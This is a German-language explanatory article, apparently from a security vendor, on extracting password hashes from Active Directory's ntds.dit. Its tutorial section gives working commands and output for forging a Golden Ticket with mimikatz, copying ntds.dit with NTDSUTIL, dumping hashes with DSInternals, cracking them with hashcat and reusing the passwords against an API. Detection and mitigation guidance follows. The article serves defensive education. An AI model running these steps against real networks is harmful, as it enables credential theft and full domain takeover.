NTDS.dit-Passwortextraktionsangriff
Alle Daten in Active Directory werden in der Datei ntds.dit („das dit“) auf jedem Domain-Controller (standardmäßig in C:\Windows\NTDS\ ) gespeichert. Angreifer können die Passwort-Hashes direkt aus dem dit verwenden, um ihre Ziele voranzutreiben. Das Knacken von Benutzerpasswörtern ist vorteilhaft, selbst wenn ein Gegner bereits die Kontrolle über die Domain erlangt hat, da Benutzer häufig Passwörter über domänenverbundene und nicht-domänenverbundene Systeme und Anwendungen hinweg wiederverwenden.
Um Zugriff auf die Datei ntds.dit auf einem Domain-Controller zu erhalten, muss ein Angreifer bereits Administratorzugriff auf Active Directory erlangt haben. Alternativ könnte ein Angreifer die Unternehmens-Backup-Lösung kompromittieren, die für die Sicherung von Domain-Controllern verantwortlich ist, und ntds.dit aus einem Backup kopieren. Die meisten Organisationen wechseln das krbtgt -Geheimnis (siehe den Golden Ticket attack) nicht häufig, daher können auch ältere Backups nützlich sein.
Bedrohungszusammenfassung
Ziel: Active Directory
Tools: DSInternals, ntdsxtract, PowerSploit, mimikatz
ATT&CK® Taktik: Credential Access
ATT&CK-Technik: T1003.003
Schwierigkeit
Erkennung: Mittel
Milderung: Mittel
Antwort: Hard
Angriffs-Tutorial: Wie die Passwortextraktion von NTDS.dit funktioniert
SCHRITT 1: Erforderliche Privilegien erhalten
Ein Angreifer muss Zugriff auf das Dateisystem eines Domain-Controllers besitzen, bevor er in der Lage ist, ntds.dit zu extrahieren. Da diese Anforderung die Extraktion von ntds.dit zu einem Angriff in einem späten Stadium macht, könnte ein Angreifer einen zuvor kompromittierten Passwort-Hash für das Computerkonto eines Domain-Controllers verwenden, um ein Silver Ticket zu erstellen.
Im folgenden Beispiel verwendet der Angreifer mimikatz um über ein Golden Ticket Zugriff auf das Dateisystem eines Domain-Controllers zu erhalten.
PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"
User: FakeUser1
Domain: domain.com (DOMAIN)
SID: S-1-5-21-441320023-234525631-506766575
User Id: 0
Groups Id : *513 512 520 518 519
ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt
Service: HOST
Target: DC1.domain.com
Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320
# A new command prompt window opens
C:\Windows\System32>
SCHRITT 2: Exfiltrieren von ntds.dit
Mit Zugriff auf das Dateisystem eines Domain-Controllers kann der Angreifer ntds.dit sowie den HKEY_LOCAL_MACHINE\SYSTEM-Registrierungsschlüssel exfiltrieren, der benötigt wird, um den Boot Key zum Entschlüsseln von ntds.dit zu erhalten.
Beachten Sie, dass Active Directory während des Betriebs eine Dateisystemsperre auf die ntds.dit-Datei aufrechterhält, sodass Versuche, sie zu kopieren, fehlschlagen werden. Angreifer haben mehrere Möglichkeiten, diese Einschränkung zu umgehen; insbesondere können sie:
- Stoppen Sie einfach Active Directory (obwohl dies wahrscheinlich entdeckt wird).
- Verwenden Sie den Volume Shadow Copy Service (VSS), um einen Schnappschuss des Volumes zu erstellen und ntds.dit aus dem Schnappschuss zu extrahieren.
- Verwenden Sie ein PowerShell-Tool wie PowerSploit’s Invoke-NinjaCopy, um die Dateien zu kopieren, auch wenn sie in Gebrauch sind.
- Verwenden Sie ein integriertes Tool wie DSDBUtil.exe oder NTDSUtil.exe, um Installationsmedien-Dateien für Active Directory zu erstellen.
PS> .\PSExec.exe \\dc1.domain.com cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1339]
(c) 2018 Microsoft Corporation. All rights reserved.
DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"
NTDSUTIL: Activate Instance NTDS
Active instance set to "NTDS".
NTDSUTIL: IFM
ifm: Create Full S:\Files
Creating snapshot...
Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit
Target Database: S:\Files\Active Directory\ntds.dit
DefragmentationStatus (Complete)
0102030405060708090100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying S:\Files\registry\SYSTEM
Copying S:\Files\registry\SECURITY
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.
IFM media created successfully in S:\Files
ifm: q
NTDSUTIL: q
DC1 > Copy S:\Files \\wks2\Share
SCHRITT 3: Extrahieren Sie die Passwort-Hashes
Sobald der Angreifer ntds.dit und den HKLM\SYSTEM-Registrierungsschlüssel exfiltriert hat, benötigen sie keinen Zugriff mehr auf das Netzwerk der Organisation. Ein Angreifer, der daran interessiert ist, die Passwörter zu knacken, wird oft einen Brute-Force-Angriff mit einem dafür optimierten Computer durchführen wollen, aber zuerst müssen sie die Hashes aus ntds.dit extrahieren. Das DSInternals PowerShell-Modul stellt die Cmdlets Get-BootKey und Get-ADDBAccount für diesen Zweck zur Verfügung.
$Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM
Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |
Format-Custom -View HashcatNT |
Out-File C:\Hashdump.txt
PS> Get-Content C:\Hashdump.txt
f8ae01fc52f45dda7baf7a67721665f1
eed224b4784bb040aab50b8856fe9f02
# --- Output Truncated --- #
SCHRITT 4: Verwenden Sie die Passwort-Hashes, um weitere Ziele zu erreichen
Der Angreifer kann nun die Passworthashes in Pass-the-Hash-Angriffen innerhalb der Umgebung nutzen (vielleicht als Mittel zur Persistenz). Wahrscheinlicher ist jedoch, dass sie versuchen werden, diese Passwörter zu knacken, um sie in Credential-Stuffing-Angriffen gegen nicht domänenverbundene Systeme zu verwenden. In diesem Beispiel knackt der Angreifer die Hashes, um Klartextpasswörter zu erhalten und verwendet diese, um sich bei der API einer SaaS-Anwendung zu authentifizieren.
PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1
Session..........: hashcat
Status...........: Running
Hash.Name........: NTLM
Hash.Target......: .\Hashdump.txt
Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)
Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1
Recovered........: 1/41 (2.44%) Digests
Progress.........: 189030831226880/218340105584896 (86.58%)
Rejected.........: 0/189030831226880 (0.00%)
Restore.Point....: 793149440/916132832 (86.58%)
Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256
Candidates.#1....: TNAZRwMl -> FYNkI2Jx
Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16
PS> Get-Content .\cracked.txt
852e811a65d732c83214b4ff705d777a:F8qN47F1
PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API
PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked
PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt
PS>$Object = New-Object -TypeName psobject
PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username
PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password
PS>$url = "https://service.url/api/login"
PS>$body = $Object | ConvertTo-Json
PS>$Header = @{ "accept" = "text/json"}
PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"
PS>$Headers = @{ 'Authorization' = "Bearer $Response" }
PS>$url = "https://service.url/api/DoThings"
PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers
PS>$Response
{ "statusCode": 200, "statusMessage": "Things Done!" }
Erkennen, Minderung und Reaktion
Erkennen
Schwierigkeitsgrad: Mittel
Versuche, auf ntds.dit zuzugreifen, können mit dem Windows-Ereignisprotokoll erkannt werden. Ereignis-IDs 4663 und 4656 der Kategorie Audit File System können verwendet werden, um den Dateisystemzugriff zu überwachen. Nutzen Sie diese Ereignisse, um sowohl reguläre als auch Volume Shadow Copy Versuche zu überwachen, die ntds.dit lesen oder verändern möchten.
Mildern
Schwierigkeitsgrad: Mittel
Um das Risiko des Passwort-Extrahierens aus ntds.dit zu mindern, nutzen Sie die folgenden Best Practices, um sicherzustellen, dass Gegner nicht die notwendigen Privilegien erhalten, um Domain-Controller von vornherein zu kompromittieren:
- Führen Sie regelmäßig Audits des administrativen Zugriffs auf Active Directory durch, einschließlich der Rechte für Gruppenrichtlinien und der Auditkonfiguration für Anmeldungen an Domänencontrollern.
- Befolgen Sie streng das Prinzip der clean source principle für Domain-Controller: Die gesamte Infrastruktur (z. B. ESX und angeschlossener Speicher), auf der Domain-Controller residieren oder Anwendungen, die Domain-Controller bedienen (wie Backup-Lösungen), müssen auf demselben Sicherheitsniveau wie die Domain-Controller selbst betrieben werden.
- Stellen Sie die physische Sicherheit der Domain-Controller-Maschinen sicher. Wenn die physische Sicherheit nicht gewährleistet werden kann, erwägen Sie den Einsatz von schreibgeschützten Domain-Controllern, um die Gefährdung von Passwörtern zu begrenzen.
- Erlauben Sie es Benutzern nicht, administrative Privilegien über Sicherheitsgrenzen hinweg zu besitzen. Zum Beispiel sollte ein Angreifer, der zunächst eine Workstation kompromittiert, nicht in der Lage sein, Privilegien zu eskalieren, um von einer Workstation auf einen Server oder Domain-Controller zu wechseln.
Antworten
Schwierigkeitsgrad: Schwer
Wenn ein Kompromittieren von ntds.dit erwartet wird, muss auch von einem vollständigen Kompromiss von Active Directory ausgegangen werden; insbesondere sollte angenommen werden, dass das krbtgt-Geheimnis ebenfalls kompromittiert wurde. Ergreifen Sie folgende Maßnahmen:
- Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam. Die Wiederherstellung nach einem vollständigen Kompromiss von Active Directory erfordert erhebliche Planung und Aufwand.
Teilen auf
Zugehörige Cybersecurity-Angriffe anzeigen
Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien
AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien
AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien
Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien
DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security
Angriffe auf Group Managed Service Accounts
Golden SAML-Angriff
Verständnis von Golden Ticket-Angriffen
DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien
ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen
Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien
Pass-the-Hash-Angriff
Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien
Password-Spraying-Angriff
Angriff zur Extraktion von Klartext-Passwörtern
Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung
Ransomware-Angriffe auf Active Directory
Active Directory mit dem Skeleton Key-Angriff entsperren
Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen
Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert
Warum ist PowerShell so beliebt bei Angreifern?
4 Angriffe auf Dienstkonten und wie man sich dagegen schützt
Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen
Was ist Credential Stuffing?
Kompromittierung von SQL Server mit PowerUpSQL
Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen
Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)
Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt
LDAP-Aufklärung
Umgehen der MFA mit dem Pass-the-Cookie-Angriff
Silver Ticket Attack